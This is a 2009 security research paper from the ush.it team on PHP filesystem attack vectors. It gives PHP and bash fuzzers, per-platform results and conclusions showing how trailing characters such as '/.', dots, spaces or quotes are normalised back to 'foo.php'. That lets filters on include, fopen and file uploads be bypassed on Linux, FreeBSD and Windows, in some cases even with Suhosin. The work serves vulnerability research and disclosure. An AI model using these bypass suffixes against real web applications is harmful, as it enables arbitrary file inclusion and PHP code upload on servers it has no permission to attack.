http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

Did you enjoyed our previous "PHP filesystem attack vectors" research? This is the second part and continuation of that paper and highlight new ways to evade filters using some path normalization issues. Have a nice reading!

PHP filesystem attack vectors - Take Two

 Name              PHP filesystem attack vectors - Take Two

 Systems Affected  PHP and PHP+Suhosin

 Vendor            http://www.php.net/

 Advisory          http://www_ush_it/team/ush/hack-phpfs/phpfs_mad_2.txt

 Authors           Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)

                   Antonio "s4tan" Parata (s4tan AT ush DOT it)

                   Francesco "ascii" Ongaro (ascii AT ush DOT it)

                   Alessandro "jekil" Tanasi (alessandro AT tanasi DOT it)

 Date              20090725

I)    Introduction

II)   PHP arbitrary Local File Inclusion testing

III)  PHP arbitrary Local File Inclusion results

IV)   PHP arbitrary File Open testing

V)    PHP arbitrary File Open results

VI)   PHP arbitrary Remote File Upload testing

VII)  PHP arbitrary Remote File Upload results

VIII) Conclusions

IX)   References

I) Introduction

This is the second part and continuation of our previous "PHP filesystem

attack vectors" [1] research.

Working with s4tan and ascii on the "SugarCRM 5.2.0e Remote Code

Execution" advisory [2] we noticed a strange behaviour on Windows OS:

trying to upload a file named "a.php." results in just "a.php".

Analyzing this we noticed that every time an application, or manually,

was trying to open or save a file with one ore more dots at the end,

Windows was not denying the operation, but it was removing the dots in a

transparent way.

Mindful readers probably have already spotted the issue.

We wanted to take our time for a deeper investigation about what

normalization issues were available and how to take advantage of them

in order to exploit arbitrary local file inclusion/handling and uploads

functionalities (not only on Windows OS but also on GNU/Linux and *BSD).

Below you can find the sources of two simple "academic" fuzzers, later

results are discussed and finally POCs and conclusions are proposed.

II) PHP arbitrary Local File Inclusion testing

This tests include(), include_once(), require(), require_once() and

similiar functions.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

alfi_fuzzer.php:

<?php

error_reporting(0);

$InterestingFile = "test_alfi.php";

$fh = @fopen($InterestingFile, 'w+');

fwrite($fh, "<?php ?>");

fclose($fh);

for ($i = 1; $i < 256; $i++) {

 $chri = chr($i);

 for ($j = 0; $j < 256; $j++) {

  $chrj = chr($j);

  for ($k = 0; $k < 256; $k++) {

    $chrk = chr($k);

    if($chri.$chrj.$chrk == '://') continue;

    if ($j == 0) $FuzzyFile = $InterestingFile.$chri;

    else if ($k == 0) $FuzzyFile = $InterestingFile.$chri.$chrj;

    else $FuzzyFile = $InterestingFile.$chri.$chrj.$chrk;

    if(include($FuzzyFile)) {

        print($i." ".$j." ".$k." [".$FuzzyFile."]\n");

        fclose($fh);

    }

    if($j == 0) break;

  }

 }

}

unlink($InterestingFile);

?>

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Note: This code and the one that will be presented in section IV only

makes use of chars from the ASCII extended table (256 chars) to limit the

combinations because our intent was to test not only a malicious ending

char but a whole ending "extension" of 3 bytes.

A better fuzzer would include UTF-8. In the test we also do not

consider \x00, because this vector is already known [3, 4].

III) PHP arbitrary Local File Inclusion results

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.2.10-pl0-Gentoo

PHPFS_MAD2 $ php alfi_fuzzer.php

47 46 46 [test_alfi.php/.]

47 47 47 [test_alfi.php//.]

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27

PHPFS_MAD2 $ php alfi_fuzzer.php

[ NO RESULTS ]

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7

PHPFS_MAD2 $ php alfi_fuzzer.php

[ NO RESULTS ]

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-

PHP 5.3.0 Windows XP (WampServer 2.0i install)

C:\PHPFS_MAD2> php alfi_fuzzer.php

! Valid chars are: \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>)

! Valid strings are all combinations of the above chars.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)

C:\PHPFS_MAD2> php alfi_fuzzer.php

! Valid chars are: \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>)

! Valid strings are all combinations of the above chars.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

IV) PHP arbitrary File Open testing

This tests fopen() and similiar functions.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

afo_fuzzer.php:

<?php

error_reporting(0);

$MaliciousFile = "test_afo.php";

for ($i = 1; $i < 256; $i++) {

 $chri = chr($i);

 for ($j = 0; $j < 256; $j++) {

  $chrj = chr($j);

  for ($k = 0; $k < 256; $k++) {

    if ($j == 0) $FuzzyFile = $MaliciousFile.$chri;

    else if ($k == 0) $FuzzyFile = $MaliciousFile.$chri.$chrj;

    else $FuzzyFile = $MaliciousFile.$chri.$chrj.chr($k);

    $fh = @fopen($FuzzyFile, 'w+');

    if ($fh != FALSE) {

        fwrite($fh, $FuzzyFile);

        fclose($fh);

        if (file_exists($MaliciousFile)) {

            if ($j == 0) print($i." ");

            else if ($k == 0) print($i." ".$j." ");

            else $FuzzyFile = print($i." ".$j." ".$k." ");

            print("[".file_get_contents($MaliciousFile)."]\n");

            unlink($MaliciousFile);

        } else

            unlink($FuzzyFile);

    }

    if($j == 0)

        break;

  }

 }

}

?>

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

V) PHP arbitrary File Open Fuzzer results

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.2.10-pl0-Gentoo

PHPFS_MAD2 $ php afo_fuzzer.php

47 46 [test_afo.php/.]

47 47 46 [test_afo.php//.]

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27

PHPFS_MAD2 $ php afo_fuzzer.php

[ NO RESULTS ]

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-

PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7

PHPFS_MAD2 $ php afo_fuzzer.php

47 46 [test_afo.php/.]

47 47 46 [test_afo.php//.]

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-

PHP 5.3.0 Windows XP (WampServer 2.0i install)

C:\PHPFS_MAD2> php afo_fuzzer.php

! Valid chars are: \x2E (.), \x2F (/), \x5C (\)

! Valid strings are all combinations of the above chars.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)

C:\PHPFS_MAD2> php afo_fuzzer.php

! Valid chars are: \x2E (.), \x2F (/), \x5C (\)

! Valid strings are all combinations of the above chars.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

VI) PHP arbitrary Remote File Upload testing

This tests move_uploaded_file() and similiar functions.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

upload.php:

<?php

error_reporting(0);

$MaliciousFile = "evil.php";

if (isset($_GET['fuzzy'])) {

  $FuzzyDestination = $MaliciousFile.$_GET['fuzzy'];

  move_uploaded_file($_FILES['userfile']['tmp_name'], $FuzzyDestination);

  printf($FuzzyDestination);

  if (file_exists($MaliciousFile)) {

          echo "SUCCESS";

          unlink($MaliciousFile);

          exit();

  } else {

          unlink($FuzzyDestination);

  }

}

echo "FAIL";

?>

arfu_fuzzer.sh:

#!/bin/bash

touch "uploadtest.txt"

url="http://127.0.0.1/uploads/upload.php?fuzzy="

for i in {1..255}; do

 xi="%`printf %02x $i`"

 for j in {0..255}; do

  xj="%`printf %02x $j`"

  for k in {0..255}; do

   xk="%`printf %02x $k`"

   ext="$xi$xj$xk"

   [ $k -eq 0 ] && ext="$xi$xj"

   [ $k -eq 0 ] && [ $j -eq 0 ] && ext="$xi"

   response=`curl -kis -F "userfile=@uploadtest.txt;" $url$ext | grep

SUCCESS | wc -l`

   if [ "$response" == "1" ]; then

     echo "Found: $i $j $k -> ($ext)";

   fi

   [ $j -eq 0 ] && break

  done

 done

done

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

VII) PHP arbitrary Remote File Upload results

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.2.10-pl0-Gentoo

PHPFS_MAD2 $ sh test_arfu.sh

FOUND: 47 0 0 -> (/)

FOUND: 47 46 0 -> (/.)

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27

PHPFS_MAD2 $ sh test_arfu.sh

FOUND: 47 0 0 -> (/)

FOUND: 47 46 0 -> (/.)

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-

PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7

PHPFS_MAD2 $ sh test_arfu.sh

FOUND: 47 46 0 -> (/.)

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-

PHP 5.3.0 Windows XP (WampServer 2.0i install)

PHPFS_MAD2 $ sh test_arfu.sh

[ All the combinations of (space), ., /, \ are valid ones. ]

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)

PHPFS_MAD2 $ sh test_arfu.sh

[ All the combinations of (space), ., /, \ are valid ones. ]

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

VIII) Conclusions

We found that it's possible to take advantage of filename normalization

routines in order to bypass common web application security routines,

detailed below:

- On GNU/Linux both (include|require)(_once)? functions will convert

  "foo.php" followed by one or more sequences of \x2F (/) and \x2E (.)

  back to "foo.php".

  This does not work if Suhosin patch is applied.

- On GNU/Linux the fopen function will convert "foo.php" followed by one

  or more sequences of \x2F (/) and \x2E (.) back to "foo.php".

  This does not work if Suhosin patch is applied.

- On GNU/Linux move_uploaded_file function will convert "foo.php"

  followed by one or more sequences of \x2F (/) and \x2E (.) back to

  "foo.php".

  This does work anyway *also* if Suhosin patch is applied.

- On FreeBSD the fopen function will convert "foo.php" followed by one

  or more sequences of \x2F (/) and \x2E (.) back to "foo.php".

  This does work anyway *also* if Suhosin patch is applied.

  Suhosin is shipped in the the default install.

- On FreeBSD the move_uploaded_file function will convert "foo.php"

  followed by one or more sequences of \x2F (/) and \x2E (.) back to

  "foo.php".

  This does work anyway *also* if Suhosin patch is applied.

  Suhosin is shipped in the the default install.

- On Windows OS both (include|require)(_once)? functions will convert

  "foo.php" followed by one or more of the chars \x20 ( ), \x22 ("),

  \x2E (.), \x3C (<), \x3E (>) back to "foo.php".

- On Windows OS the fopen function will convert "foo.php" followed by

  one or more of the chars \x2E (.), \x2F (/), \x5C (\) back to

  "foo.php".

- On Windows OS move_uploaded_file function will convert "foo.php"

  followed by one or more of the chars \x2E (.), \x2F (/), \x5C (\)

  back to "foo.php".

  We have observed that some particular strings like "foo.php./" or

  "foo.php.\" force Windows to create a file called "foo.php.". It

  seems that Windows' functions do not contemplate the existence of

  a file with dots at the end (perhaps Windows hackers can better

  comment on this).

  All functions on that file will fail their attempt, so that it's not

  possible to easily delete or rename that file (one has to do del *

  or similiar).

IX) References

[1] http://www_ush_it/2009/02/08/php-filesystem-attack-vectors/

    http://www_ush_it/team/ush/hack-phpfs/phpfs_mad.txt

[2] http://www_ush_it/team/ush/hack-sugarcrm_520e/adv.txt

[3] http://www.securiteam.com/securitynews/5FP0C0KJPQ.html

[4] http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Credits (Out of band)

This article has been bought to you by the ush.it team. Giovanni

"evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco "ascii"

Ongaro are the ones who spent most hours on it with the precious help

of Alessandro "Jekil" Tanasi, Florin "Slippery" Iamandi and many other

friends.

Giovanni "evilaliv3" Pellerano

web site: http://www_ush_it/, http://www.evilaliv3.org/

mail: evilaliv3 AT ush DOT it

Antonio "s4tan" Parata

web site: http://www_ush_it/

mail: s4tan AT ush DOT it

Francesco "ascii" Ongaro

web site: http://www_ush_it/

mail: ascii AT ush DOT it

Alessandro "jekil" Tanasi

web site: http://www.tanasi.it/

mail: alessandro AT tanasi DOT it

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Legal Notices

Copyright (c) 2009 Francesco "ascii" Ongaro

Permission is granted for the redistribution of this alert

electronically. It may not be edited in any way without mine express

written consent. If you wish to reprint the whole or any

part of this alert in any other medium other than electronically,

please email me for permission.

Disclaimer: The information in the article is believed to be accurate

at the time of publishing based on currently available information. Use

of the information constitutes acceptance for use in an AS IS condition.

There are no warranties with regard to this information. Neither the

author nor the publisher accepts any liability for any direct, indirect,

or consequential loss or damage arising from use of, or reliance on,

this information.